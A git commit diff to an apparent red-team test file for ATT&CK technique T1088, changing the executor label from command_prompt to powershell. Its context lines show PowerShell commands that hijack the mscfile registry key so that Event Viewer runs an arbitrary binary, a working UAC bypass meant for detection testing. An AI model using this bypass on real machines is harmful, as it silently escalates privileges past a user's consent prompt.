Update T1088.md (#436)

This test needs to use Powershell.
2019-02-05 15:05:31 -06:00
parent c7142a4487
commit 0c445be847
1 changed files with 1 additions and 1 deletions
@@ -53,7 +53,7 @@ PowerShell code to bypass User Account Control using Event Viewer and a relevant
 |------|-------------|------|---------------|
 | executable_binary | Binary to execute with UAC Bypass | path | C:\Windows\System32\cmd.exe|

-#### Run it with `command_prompt`!
+#### Run it with `powershell`!
 ```
 New-Item "HKCU:\software\classes\mscfile\shell\open\command" -Force
 Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force